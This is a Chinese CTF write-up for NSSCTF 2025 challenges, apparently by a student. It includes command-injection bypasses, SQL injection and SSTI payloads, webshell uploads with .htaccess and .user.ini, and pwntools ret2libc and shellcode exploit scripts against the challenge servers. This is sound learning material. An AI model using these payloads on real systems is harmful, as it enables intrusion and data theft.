2025SWPU-NSSCTF

Mobile

NSSCTF2025入门题目-APK基础理解

就跟着教程找这个mainactivity即可

直接把apk后缀改成zip,去res/drawable查看

第三段直接写这边了都

第四段说是在lib文件夹里看.so文件,然后用ida反编译,我反编译没看见,看了看十六进制,发现了flag4后边有三个感叹号,没想到真是

所以答案是NSSCTF{you_are_so_smart!!!}

NSSCTF2025入门题目-凯撒加密

直接打开jadx

然后就可以看见这一串

base64后发现是个偏移3的凯撒

解得flag

NSSCTF2025入门题目-So层加密

我们可以直接把apk的后缀改为zip来查看配置文件

在lib目录下可以看到所谓的.so文件

在ida打开

大概能看到是base64加密

但是不知道密文,找一下

知道了base64,可以尝试搜一下=,直接就看见了

有点问题,怀疑换表了

也是根据特性就能找到了

得到flag

NSSCTF{Summer_Pockets_sorakado_ao_kawaii}

NSSCTF2025入门题目-frida

我感觉可能是frida的练习题

雷电APP智能分析是自带frida的

密码正确的话请我吃芭菲,所以我们要填密码

审计MainActivity,可以看到这边有check环节

只要this($0.checkPassword(input))是1就好了,就可以直接得到flag

围绕这个我们可以编写frida框架下的脚本

1
2
3
4
5
6
7
Java.perform(function() {
var MainActivity = Java.use(“com.togakushi.touko.MainActivity”);

MainActivity.checkPassword.implementation = function(input) {
return true;
};
});

其实就是先Java.use动态抓取,然后后边再替换MainActivity类中 checkPassword方法的原始实现。将自定义的 JavaScript 函数赋值给 .implementation属性,这样当 App 调用原始的 checkPassword方法时,会转而执行你定义的true

直接执行即可

不管填什么都会出的

NSSCTF{Togakushi_Touko_Sabbat_of_the_Witch}

NSSCTF2025入门题目-so与java的交互

so和java的交互,之前是直接的so,是直接变成zip然后看lib文件夹下的so文件而已,ez

这一题明显会难不少

先定位主函数MainActivity

这边需要这个为1

后边两个参数我找到了

KEY = “misakikawaii”

TARGET_CIPHER_HEX = “5b3beeb92039c4376ec8b0212ad57d52937c6d197b2fd4c001e2fa7cde4b81f93f1e520808”

剩下第一个参数是input

所以我们只需要找到这个函数是什么内容即可

似乎在native本地,会在misaki的so文件里找

那我们也去找

直接搜索这个函数,看见了右边一大片

主要就是先把jstring改成c++的,主要是a3,a4,a5这三个参数

然后去处理每个变量,再矢量化

大概知道了,再审计一下

大概看懂了,是把input和key进行rc4加密然后和第三个比较

也就是说我只需要将密文和key进行rc4解密即可

直接填入脚本

成功得到flag

NSSCTF{Flying_Circus_Tobisawa_Misaki}

正确

(Mobile也ak了,nss的题目也挺好玩的())

Misc

gif好像有点大

gif除了放在stegslove一帧帧看我也不知道还能咋出了

看见了二维码,扫一下即可

签到

是一个emoji加密,钥匙是题目里的GAME(我实在是找不到这种工具,这个原来的已经404了)

解得

喜欢我的压缩包么 (初级)

一看就是6位数字弱口令爆破,放到ARCHPR看看

直接解得密码是114514

这边看见答案了(这个比赛好多别人的题目))

这羽毛球怎么只有一半啊(恼 (初级)

一看就像是改了图片长度,不然干嘛说下半身

甚至于你无法直接复制粘贴到yuque

或者放到tweakpng里,会报错

也是提示

改了之后就可以看见答案了

即得LitCTF{Fl4g_0fcourse!}

where_is_here

没给文件类型,放到winhex里看看

发现文件头尾都是png文件格式,且没有隐藏的痕迹

就是很标准的一张图,没啥线索

放入识图,最后锁定有些类似这个

确定

(其实这些题都出过了啊,本来就是onist题,我在别人的wp上直接onist,很合理吧(我不行了))

New MISC

打开是个pdf啊,很明显应该是pdf隐写,但完全没有思路,只能上网搜搜了

发现了很好用的软件,链接

原理如下

一步步走下来即可

得到答案NSSCTF{verY_g00d_YoU_f0und_th1s}

突然多了很多misc,来玩玩

最简单的misc

扔随波逐流里一看什么都没有,要说简单的话应该也只有lsb隐写了

不出意料,搞出来了个png格式的,我们直接保存为png

得到了个二维码,一扫就出了,真简单

jwt

问1

这题都叫jwt了,肯定jwt啊(?)

当然认真点我们直接追踪HTTP流,然后搜索token,base64一下就能看见认证类型

确实是jwt好吧

问2

问这个id和username

就在上一题后边

NSSCTF{10086#admin}

发现不对

怀疑是后边更改过,直接拉到最后,就看见了id变成了10087

问3

我猜是root,没想到直接就对了,我附件都没下呢还做这题的时候

查看command为whoami的时候即可,确实是root

问4

全放到这个1.c了

所以答案为NSSCTF{1.c}

问5

分析的时候可以看到这边一直在围绕这个so文件操纵,编译恶意内容,因此这题答案就是

NSSCTF{looter.so}

网站取证_1

都不用怎么找,直接被火绒逮捕了

然后提取出来打开来看看

这么简单的一句话木马吗

答案直接出来了NSSCTF{lanmaobei666}

NetWork

这边打开来

可以看到都是这样子的内容,63,127等等,我一开始其实以为是RGB转图片,结果不是,转出来是一坨

最后是看了WP才知道原来是IP的原始TTL数据

这也蛮炸裂的,似乎是和network相关吧

将这几个高频数字分别按大小排到二进制二位的四个可能,然后排成二进制,转化为十六进制编成文档

是个压缩包

是个加密压缩包

怀疑是伪加密,直接解开

一大串,似乎是base64

扔到cyberchef看看

近三十轮解码,太吓人了,但是一直点魔法棒就会自动帮忙解码了

得到flag{189ff9e5b743ae95f940a6ccc6dbd9ab}

Web

ez_ez_php

gift_F12

jicao

NSSCTF{ee537b62-df13-4c25-865c-5bc13bcfb764}

Do_you_know_http

先抓包,然后放到repeater

一开始说success,后来发现还有个a.php

直接改,又显示说ip不对,而且location也变了,要用fakeip

X-Forwarded-For: 127.0.0.1搞好了

直接出答案

NSSCTF{de3298be-411a-4aef-8a96-1f6909b87c80}

导弹迷踪

这个很好玩啊,而且很简单(开着右边的检查栏会更简单),两条命直接通关了,答案就是NSSCTF{y0u_w1n_th1s_!!!}

在源代码的/src文件处可以找到game.js文件,这边直接就写到了flag

WebFTP

打开来是这个界面,找半天没在源码找到相关的用户名和密码

在GitHub能搜到超级管理员的账密是admin和admin888

打开来长这样子,可以看到有phpinfo.php文件,直接打开就能看见了


NSSCTF{ef6cfcef-d5c3-41ba-9758-f6a9dc1d17c}

这边注意也可以直接用PHP文件包含漏洞(利用phpinfo)做出来

babyRCE

为什么这边放了moeCTF的github(?),或许是因为这是moeCTF的题目

先了解一下什么是RCE吧

总而言之是因为输入端对用户的过滤不严格导致的严重问题,由此可以远程使用cmd等命令

而注意到这道题过滤了很多字符不能用,甚至过滤了空格,但ls还能用

那flag.php就在当前目录了,直接cat就好了

想肯定是想写cat flag.php,但是cat和空格都被过滤了,只能想方法绕过去,只能用ifs绕过空格了

加入?rce=ca\t${IFS}fl\ag.php(这俩反斜杠加哪都一样,把这俩单词劈开来就行了)

搞好了还没有,原来在源代码

所以答案为

finalrce

依旧rce奥,就是这次rce变成url了,过滤了一堆玩意,既然说是url过滤,自然想到url编码

ls被过滤了,那我自然想写的是?url=l\s,反正\是没被过滤的

但是似乎不太行

明显没能输出

注意到这边有一串exec()代码

因此主要是由于exec()函数,执行$url的命令,因此一直无法回显出我需要的ls内容

我们必须另辟蹊径得到ls的内容,这边可以使用tee命令,tee命令会用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

所以这边构造的命令应该是/?url=l\s / |tee 1.txt,然后打开1.txt看

这边可以看到计划通,打开了ls,但是有俩奇奇怪怪的玩意,逐一cat即可

/?url=ca\t /a_here_is_a_f1ag |tee 2.txt

明显不是这个,是下边这个,但是一定要注意这边la也是过滤的

/?url=ca\t /flllll\aaaaaaggggggg |tee 3.txt

来了NSSCTF{d284e04d-7962-4218-a6bf-93c2872309e4}

PseudoProtocols

这题叫伪协议,应该就顾名思义了

因此我们可以尝试利用filter协议读文件,根据这个思路/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

直接就成功得到了base64编码的内容

又得到一串叫我们打开这个php,同理/index.php?wllm=php://filter/read=convert.base64-encode/resource=test2222222222222.php

更长了

解得一段php内容,代码分析:

  1. 设置最大执行时间为180秒:ini_set(“max_execution_time”, “180”);
  2. 显示当前文件的源代码:show_source(FILE);
  3. 包含’flag.php’文件:include(‘flag.php’); 这里应该定义了$flag变量。
  4. 获取GET参数’a’:image_GET[“a”];
  5. 如果参数’a’存在,并且从’a’指定的文件中读取的内容等于字符串’I want flag’,则输出”success”和$flag。

重点在于这句if(isset($a)&&(file_get_contents($a,’r’)) === ‘I want flag’)

显然是要我们输入一个值为“I want flag”的a

那就用到data://

这边在原来的基础上加装/test2222222222222.php?a=data://text/plain,I want flag

直接在需要a的php文件上修改

可算是看见答案了

easyupload1.0

开始是这个界面

应该是要利用文件上传漏洞

利用php一句话木马但是这道题上传的必须是jpg文件,那我们就先写成.jpg,抓包后改为.php

这边改为.php发送过去,把r00ts放进去

使用antsword连接,看见了我放进去的.php文件

找一下能找到flag.php

但是这个不是答案,是假的

考虑用phpinfo找,传参r00ts=phpinfo();

成功进入界面

位置都和昨天的一模一样,都在Environment,其实ctrl+f直接找也行

NSSCTF{4cd7a000-f98f-4e0a-acb2-ad1b3eb16862}

easyupload2.0

跟上题一样试试看

好吧php不行,试试看别的

phtml可以,那就跟上题一模一样了啊,antsword连接看看

老位置,这次是对的了

NSSCTF{ad6e84d2-3fe1-41b8-aa7e-9f0d8a4f03d9}

easyupload3.0

和前两题也是一模一样了

果然,这次连phtml也禁掉了

注意到源代码里有给提示,那我们应该就是要和某些文件打配合

我们可以尝试在前边写一个BM

注意到这边htaccess文件没被过滤

htaccess文件,简单说就是可以通过这个文件,可以帮我们实现网页页面重定向,改变文件名,目录的访问等。而对于htaccess文件的内容,只要符合php编码规则即可

开始编写.htaccess文件(注意文件名无前缀直接为.htaccess)

<font style="color:rgb(77, 77, 77);">SetHandler application/x-httpd-php</font>的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行

再传入刚刚的一句话木马即可

已经被转化为.php文件执行了,然后我就能用这个密码进来了

找到了NSSCTF{fb7d4195-1974-4b23-8813-e1b66820a0dc}

caidao

这么大张直接放上边了,密码是wllm嗷

蚁剑连上

这边直接就看见了,还是这种好,隔壁moe的第十二章我还是没找到,这平台现在还关门了,真是的

NSSCTF{a00dd1cc-67e5-4a9b-9689-4c60b735ea55}

easy_sql

杰哥都来了,参数是wllm

3行4不行,所以我们确定了有三列

看看,所以第二列是name,第三列是password

输入database看看有啥库

(我发现我对sql语句了解太太太浅了)

就这个,那看看这个里边有啥

group_concat(column_name) from information_schema.columns where table_schema=’test_db’–+

group_concat(column_name) from information_schema.columns where table_schema=’users’–+

分别试试看里边有啥字段

在test_tb里 ?wllm=-1’ union select 1,2,flag from test_tb –+

提取一下这个flag

得到flag:NSSCTF{335ff566-3d69-4555-b3ca-a4047da1d6bc}

sql

还是一题sql注入题目,点开来与上题一致,甚至参数也还是wllm

我们尝试?wllm=1’ order by 3–+看看有几列,但是失败了,显示非法操作

或许是需要绕过WAF对某些内容的过滤

尝试过滤,尝试过滤了空格和注释符

发现成功了

?wllm=1’//ORDER//BY/**/3%23

先用1‘单引号闭合,允许我们在外边编写恶意代码

而后用/**/替代空格,还是用order by 3查看列数

最后用%23,也就是#替代–注释符,这边#应该也被过滤了,直接写失败了,还是用utf-8绕过才行

尝试4失败了,也就是说还是就3列

还是跟之前一样的步骤,然而这次

?wllm=1’//UNION//SELECT/**/1,2,3%23无回显

然而在多次尝试后发现这边仅仅是过滤了一开始的1’而已将1'识别为了潜在的SQL注入模式并阻止了它

这边只要改为2’即可

定位成功,是后边俩输出,顺序也可知

显示出来了用户和数据库名字,我们打开这个database看看

?wllm=2’union//select//1,2,group_concat(table_name)//from//information_schema.tables//where//table_schema=’test_db’%23

经典依旧失败,又显示错误来了

老老实实测试一遍吧

?wllm=1 –正常

?wllm=1’ – 报错

?wllm=1’%23 – 正常

?wllm=-1’or 1=1%23 报错

好最后测试出来刚刚漏了个=应该绕过为like

?wllm=2’union//select//1,2,group_concat(table_name)//from//information_schema.tables//where//table_schema//like//‘test_db’%23

查表得到如上

查完表查列

?wllm=2’union//select//1,2,group_concat(column_name)//from//information_schema.columns//where//table_schema//like//‘test_db’%23

找到flag位置,读取一下这个flag内容

?wllm=-1’union//select//1,2,group_concat(flag)//from//test_db.LTLT_flag%23

很明显flag不完整,似乎是位数不够,那我们只能靠截断绕过,多次读取得到最终的flag

在尝试后发现:substr,right,REVERSE 都被过滤了,那我们只能使用mid绕过,由于刚刚看这个NSS可以看到每次只能读20个

注意mid的语法:mid(str, pos, len):

str:拼接好的字符串整体名字

pos:从第pos个字符开始读

len:读len个

那咱只能多读几次看看了

?wllm=-1’union//select//1,2,mid(group_concat(flag),20,20)//from//test_db.LTLT_flag%23

读一下第20到39的内容,第一个是f,与上文拼接,合理

?wllm=-1’union//select//1,2,mid(group_concat(flag),40,40)//from//test_db.LTLT_flag%23

读一下40到59,直接读完了都,后边空了

读了三次读完了,flag为NSSCTF{f869194b-0b1f-47c0-81e4-95746ed29e86}

(感慨一下这边做题有很大的问题,对于web题目还是做得少,不熟练,不懂一开始就要查过滤等行为,要不是这题跟之前那个一样流程估计我连流程也不知道,还是太缺训练了,对于mysql语法也了解太浅)

Ping Ping Ping

尝试了一下,真的是在ping别的网站啊?

尝试带&和空格不行,但是尝试后发现;和||是可以的

那我们直接构造bjut.edu.cn;ls

可以看到我们flag.php

bjut.edu.cn;cat$IFSflag.php(避开空格)

好吧flag也被搞掉了

尝试?结果问号也被过滤了

好吧*也被过滤了

[]也被过滤了

输入cat$IFS$9看看过滤了点啥

真的是过滤了一大堆

我们采取赋值变量的方式做,在原来的基础上加一条z=g;

bjut.edu.cn;z=g;cat$IFS$9fla$z.php

?还没有

看源代码即可

flag = NSSCTF{38c4507f-b831-42d1-aebe-f717a117fb0c}

奇妙的MD5

要我输入一个奇妙的字符串,这我哪里知道

搜了才知道是这个ffifdyop

进入下一页面

发现了这个内容,要输入俩不一样内容的md5一样的东西

这个很常见了,经常遇到?x=QNKCDZO&y=240610708

GET传入后可以看见最后一题的内容,进入

还是在考绕过参数是wqh和dsy这俩数组

需要这两个数组内容不一样然后md5一样

关键点在于:当 md5() 函数的参数是数组时,PHP 会先将数组转换为字符串,再计算哈希。而 PHP 中数组转换为字符串的规则是固定输出 "Array"(无论数组内容如何)。

所以这边不管是写post传入 wqh[]=1&dsy[]=2,或者 wqh[]=5&dsy[]=6都一样

输入多少数字都一样,反正都是Array的比较

所以flag为NSSCTF{5100c945-c311-45bd-9a8b-ca69f785464d}

babyphp

朴实无华php

先看第一层if

要求a存在,不含数字但整数部分为1

这边intval的语法如图

从这边也可以看到,我们输入数组就是了

a[]=1

成功度过第一层

来看第二层

要求b1不等于b2,但是这俩的md5一样

这不就上一题吗b1=QNKCDZO&b2=240610708

哦不对,这边是三个等号,要求连类型也一样

我们学习上边的,填俩数组好了

b1[]=1&b2[]=2

成功第三层

要求c1c2不等但md5相等且均为字符串形式

这边利用的是0e开头的数在弱判断下都为0这个点

:::info
QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

:::

这些都是md5为0e开头的值

所以&c1=QLTHNDT&c2=QNKCDZO

post最终内容为a[]=1&b1[]=1&b2[]=2&c1=QLTHNDT&c2=QNKCDZO

最后NSSCTF{93e6fc0e-f080-441d-a0ee-e179f87fcaa0}

ez_SSTI

fenjing焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。

链接(安装教程)

在对应目录(G:\tools\Fenjing-0.8.1\Fenjing-0.8.1)CMD : vv_fenjing\Scripts\activate.bat

具体使用方法如上,我们这边启动web页面

vv_fenjing\Scripts\activate.bat

python -m fenjing webui

界面很简洁

直接输入就可以自动一把梭处payload了

直接cat flag

NSSCTF{adadasdasd}

我去那个是假答案

输入ls -la发现真答案在前边的地方

无语了

高亮主题(划掉)背景查看器

几个主题看下来代码内容并无改变,似乎与这个。。关系不大?

上边显示GET,url,但是传什么都没啥反应

但是打开检查hackbar后直接发现了存在POST的参数为theme

这边就可以用../目录遍历漏洞了

直接输入../flag,发现输出如下

说明themes/../flag存在flag

但是再写了几个../又一直在报错

那我们直接一口气多查几个试试看,通过路径简化规则,保留有效部分,最后就会落到我们需要的flag内容

最后其实发现四个就够了

显示如上,这或许意味着我们在做目录遍历的时候可以找找有没有参数然后多遍历一些,应该也与此处有无路径简化规则有关

NSSCTF{8f27457e-829d-4cee-a876-fd1ef355b134}

hardrce

是一道php题目,可以看到这边直接eval了参数wllm,所以是可以绕过之后直接执行指令的

不能用字母,那就只能想办法绕过了,注意到这些符号没有禁用%,可以用url,~也没过滤,用url取反

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

构造参数

php -r “echo urlencode(~’system’);”

php -r “echo urlencode(~’ls /‘);”

所以?wllm=(%8c%86%8c%8b%9a%92)(%93%8c%df%d0);

显示如下,那我们直接system(cat flllllaaaaaaggggggg);即可

还是一样

php -r “echo urlencode(~’cat /flllllaaaaaaggggggg’);”

?wllm=(%8c%86%8c%8b%9a%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

ok,得到flag

NSSCTF{8d82aced-d76c-44d5-8603-3a1bdf1a5a6a}

看看ip

老搞英文,看不懂啊真是

主要应该是利用我的公共ip进行

那我修改自己的ip地址呢?

尝试X-Forwarde-For: 127.0.0.1

真的就直接变成127.0.0.1了,改什么就是什么了,但是不知道怎么样才能执行

那咱继续就是了

X-Forwarded-For: {{system(“ls /”)}}

X-Forwarded-For: {{system(“cat /flag”)}}

(这边存疑是不知道为什么需要输入{{}}框住之后才能执行system函数)

怎么多了个没用的php文件

我怀疑跟这个notion.php有关但是直接看看不见

结合文件上传形式,应该是要想办法传入php的一句话木马

估计后边蚁剑之后flag就藏在notion.php这里边,可以注意一下

尝试能否直接上传php文件

发现上传失败

而png文件可以成功上传

我们构造一个的png文件,试试能否上传

上传成功,那我们可以直接蚁剑了

提示失败,也就是说没那么简单

明显是未被解析运行,这边就需要我们再传入一个.user.ini的文件充当配置文件

利用这个配置文件我们才能构造后门,将刚刚上传的png文件解析运行

因此我们构造一个.user.ini文件,内容为:auto_prepend_file = 1.png即可

结果报了一堆错??

其实这边就是跟题目里的notion有关了

网址该连的是notion,传在了那个地方

如图,是这样子的

这个时候回到根目录即可看见flag

这边打开即可得到flag

UploadBaby

根据题目提示这题似乎是不同意上传word马的,但是需要上传,似乎应该是以绕过的方式进行

跟刚刚那题一模一样

要我传一个jpg

那我就刚刚那样子上传好了

上传完之后不执行,我们抓包改成php文件

这样一来就运行了,那我们直接访问下方网址即可

http://node6.anna.nssctf.cn:25231/uploads/1.php

蚁剑连一下

依旧根目录flag

NSSCTF{d160d1b6-9a3e-4d30-ab72-496497978159}

解得

ez_sql

肯定是sql注入的web题

相对安全

那肯定是POST,我们随便输入就可以看到俩假的flag

但输入nss=1 and 2的话就没有了内容,说明有东西被过滤了

nss=1//and//2

尝试后发现是空格被过滤了,我们需要用/**/绕过

先判断字段,3正常,4报错,所以是3

接下来爆数据库名

nss=2’ union//select//1,database(),3#

但是失败了

尝试后发现是union被过滤了

双写绕过

nss=2’ uunionnion//select//1,database(),3#

看见了数据库名字

继续爆nss=2’ uunionnion//select//1,database(),group_concat(schema_name)//from//infoorrmation_schema.schemata#

nss=2’ uunionnion//select//1,database(),group_concat(column_name)//from//infoorrmation_schema.columns//where//table_schema=’NSS_db’//aandnd//table_name=’NSS_tb’#

找到了flag所在地

nss=2’ ununionion//select//1,Secr3t,flll444g//from//NSS_tb#

得到flag,在secrets里

pwn

Does your nc work?

直接虚拟机nc node5.anna.nssctf.cn 25196

这边我们先进入根目录,ls列一下,发现有个nss,那我想cat一下,结果不是

那继续cd进去nss目录,看见ctf想继续cat,结果又不是

最后打开ctf目录才是,答案为NSSCTF{4e2ebb16-becf-492a-a3cb-208e5d458076}

gift_pwn

nc node4.anna.nssctf.cn 28348

输入虚拟机然后就没动静了,那没办法只能开ida看看了

可以看到这边vuln存在有栈溢出的漏洞,因为显然buf只能存储16字节的数据,但是read函数允许读取100个字节以内的数据,因此很容易栈溢出。我们可以通过溢出的部分来执行任意代码

这边可以看到还有/bin/sh,点开来看看

这边可以看到/bin/sh开始于4005B6

所以构造这样子的payload即可

直接ls发现flag然后cat即可

NSSCTF{2ef7ead1-9abc-4d8e-bce4-87ecfebe3453}

口算题卡

这网站登不上,只能nc了nc node4.anna.nssctf.cn 28790

不是这比赛怎么全是litctf(欺负我上次lit没去比是吧)

做了几道发现没啥用,再做几道试试看

怪好玩的,但这样子不知道什么时候是个头,必须写一个代码循环完成计算工作,直到出现答案

每行自动计算,最后得到如下结果

答案如上

Where_is_shell

保护:

先die看看

64位Linux,注意payload用p64封装

这边可以看到这个read函数能写56个

但是buf搞0x10+8就溢出了

我们搞这个64位传参

这边可以看到我们system的参数是不对的,我们需要用pop把bin_sh给谈到rdi里,然后system这个bin_sh
这边我们需要这个rdi和ret的地址,我们利用代码

ROPgadget –binary “shell” –only “pop|ret”

这边即可得到

rdi = 0x04005e3

ret = 0x0400416

接下来传参给system即可

哦?没有/bin/sh啊,但是保护开了NX,我们用不了shellcode

但是搜sh是可以搜到的(也是正好sh可以指向这个/bin/sh)

next,所以sh的地址不是0x400540,而是0x400541,这应该是唯一的难点了

后边就传参就是了,注意题目和64位需要ret栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
io=remote("node4.anna.nssctf.cn",28447)

padding=0x10+8
rdi = 0x04005e3
ret = 0x0400416
system = 0x400430
sh = 0x400541

payload = b"a"*padding +p64(rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()

NSSCTF{649095a2-cd59-4c3d-b7d8-0ee0f1f70378}

shell

??没附件?

额,这是。。?这。签到题吧,怎么会比刚那题做的人少啊?这都没难度啊

NSSCTF{64a18987-9d10-4bf1-81d0-a5d2a6a74d80}

ret2text_ez

保护

64位

在vuln函数可以找到漏洞点

0x20+8溢出

存在后门函数,我们直接构造漏洞后定位到这边即可,简单题

backdoor地址为0x401196

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
io=remote("node5.anna.nssctf.cn",29705)

padding=0x20+8
backdoor=0x401196

payload = b"a"*padding +p64(backdoor)
io.sendline(payload)

io.interactive()

NSSCTF{b094eec7-ea92-4af1-b5e0-90b830ff48fe}

ezpie

先看保护,这边开了PIE

然后看die

这边开了PIE

即位置无关可执行文件,这意味着我们不能再直接写地址构造过去

NX没开,所以不能构造shellcode

PIE没开,所以不能直接用地址

所以我们只能用已经使用过的函数得到基地址,再利用基地址加偏移地址得到shell地址了

当然,利用上述知识,我们也可以直接从main跳到shell,由于相对偏移固定不变,所以我们只要知道main和shell间的相对偏移即可迁移过去

利用ida,我们其实可以直接得到这俩中间差了0x80F-0x770=0x9F(readelf读也一样)

一般地址的字符串输出出来都是十位,0x后边跟8位

这边我们要做加法,但是截取之后的地址是带着0x的字符串

所以我们要先int(,16),然后再加9F去

这边不是0x00000770吗mian地址,所以我们就截断70然后要前边的十位即可

main_now = io.recvuntil(‘70’)[-10:]

main_addr = int(main_now,16)

别忘了构造溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote("node7.anna.nssctf.cn",27715)

padding=0x28+4
main_now = io.recvuntil('70')[-10:]
main_addr = int(main_now,16)

payload=b"a"*padding+p32(main_addr+0x9F)
io.sendline(payload)

io.interactive()

得到flag

NSSCTF{02f1ff7b-26c3-4cbb-91d4-878d66569199}

getshell2

保护:

这边可以看到32位,die就省了

溢出点还是蛮好找的,就在main函数里的vulnerable函数

padding=0x18+4

system里的内容奇奇怪怪(),但是没有别的/bin/sh了

1
2
ROPgadget --binary service  --string '/bin/sh'
ROPgadget --binary service --string 'sh'

但是搜索可以搜到有’sh’

得到sh的地址在0x08048670

那直接32位传参开始了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote("node5.anna.nssctf.cn",29307)

padding=0x18+4
system=0x08048529
sh=0x08048670

payload = b"a"*padding+p32(system)+p32(sh)
io.sendline(payload)

io.interactive()

藏的够深的啊

NSSCTF{64d636d0-6ca3-4d28-80de-5d383b93ba0e}

ret2shellcode

保护:

给了个c语言的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}

所以看似这边是只有NX保护,但是又用mprotect提高了权限,又用strcpy移动到全局变量所在位置,靠着之前的mprotect变的可执行,于是在这样子的协作下成功让shellcode能用了

这边可以看到了经典的栈溢出漏洞

溢出为padding = 0x100+8

先溢出,然后直接shellcode传上去即可

构造shellcode:

shellcode = asm(shellcraft.sh())

由于代码是把buf复制到buff里边

所以我们一开始就要输入shellcode,在算上shellcode之后再去溢出,也就是下边这样子

shellcode.ljust((0x100+0x08),b”a”)

最后返回p64(buff)

所以代码也很精简

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",20680)

shellcode=asm(shellcraft.sh())
buff=0x004040A0
payload=shellcode.ljust((0x100+8),b"a")+p64(buff)

io.sendline(payload)
io.interactive()

这边这一行很重要context(os=’linux’,arch=’amd64’,log_level=’debug’)

因为shellcode默认干的是32位的,现在我们需要64位需要强调一下

得到flag:

nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}

babyarray

保护:

64位

大概意思是我们写的内容(我觉得得是个数字)会存到v4这个地址,最多写0x4+8个内容

然后呢,这个数字会拿来乘以4后加6295712

而我们第二次输入的东西就到这个大数字的地址

而我们的目标也挺明确,让a=0

a现在是恒等于1

地址为0x0601068

所以很明确了啊,我们先构造一个能到0x0601068(即6295656)的输入,再写个0输入

(6295656-6295712)/4

算一下,一开始得输入的是-14

OK构造exp

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.anna.nssctf.cn",28402)

io.recvuntil("index:")
io.sendline("-14")
io.recvuntil("value:")
io.sendline("0")
print(io.recv())

NSSCTF{baby_arr@yxxxx}

PWN1

保护:

提示Ubuntu 18的时候就该知道了,是64位且要注意栈对齐问题

NX保护了,不能直接构造shellcode,要ROP

这个程序的内容大概理解一下也是这样子

就是先问你三选一,选3没用,选2就继续问,直到你选1

然后进入加密环节

解密环节就是先纯异或,这似乎意味着我们可以把密文拿来加密一遍得到答案

额好像有点纰漏,问题不大,不过我没看懂这玩意有啥用这个加密

主要是这题什么都没有,无system无bin_sh,并且具备着puts函数打印泄露

所以这一题基本上考虑就是泄露+ret2libc的结合

加密函数或许是为了给这个gets函数吧,拿来栈溢出用

栈溢出的大小是0x50+8

这边我们发现程序多次运用puts函数,因此可以利用puts函数来泄露libc地址

构造payload1还需要注意栈对齐,这边利用命令搜索一下rdi和ret的地址

ROPgadget –binary “pwn” –only “pop|ret”

所以rdi=0x0400c83

ret=0x04006b9

然后我们即可构造payload1

payload1=b”a”*padding+p64(rdi)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(main)

这边就是上述的payload1大概的内容

注意因为我们这边的栈溢出靠的是gets函数,我们需要有一个gets函数的地方,而这个地方在encrypted函数内部

所以我们这边需要注意一下sendline的地址,打好断点

先定位Input your choice!然后输入1

等再一次定位到encrypted说明进入内部了,这个时候再放payload1

1
2
3
4
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("encrypted")
io.sendline(payload1)
1
2
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('encrypted',pay)

发完payload1后就要开始搭建2了

这边直接照例截断

puts=u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))

得到puts的真实地址,因为64位需要截取往前6个字节的数据,数据后方需要补零.ljust(8, b”\x00”))补零之后才能被u64进行小端序转换

得到之后我们直接利用libcsearcher去得到libc库

然后利用puts算出基地址后利用这个得到system和/bin/sh

这边主要麻烦的还是栈对齐问题,这个是心腹大患,我感觉我没法很好的处理,目前一直是在疯狂试错

好吧可以动调然后来看调用的函数看看最后的空间地址是不是8结尾的,是的话得加ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context (os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
io=remote("node5.anna.nssctf.cn",24164)

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding=0x50+8

rdi=0x0400c83
ret=0x04006b9

payload1=b"a"*padding+p64(rdi)+p64(puts_got)+p64(ret)*2+p64(puts_plt)+p64(main)
#这边的p64(ret)是可以不写的,毕竟乘2和0是一样的
io.recvuntil("Input your choice!\n")
io.sendline(b"1")
io.recvuntil("encrypted")
io.sendline(payload1)

puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
bin_sh=libc_base+libc.dump("str_bin_sh")

payload2=b"a"*padding+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('encrypted',payload2)
#用前边的先recvuntil再sendline也一样

io.interactive()

成功得到flag:NSSCTF{d637db40-0b4e-45d9-bda3-286d44f6654c}

ezr0p32

保护:

32位,看看main函数

system函数在这边,溢出点也在这边

padding=0x1C+4

那很明确了,只差一个/bin/sh,先搜搜看吧

1
2
ROPgadget --binary pwn  --string '/bin/sh'
ROPgadget --binary pwn --string 'sh'

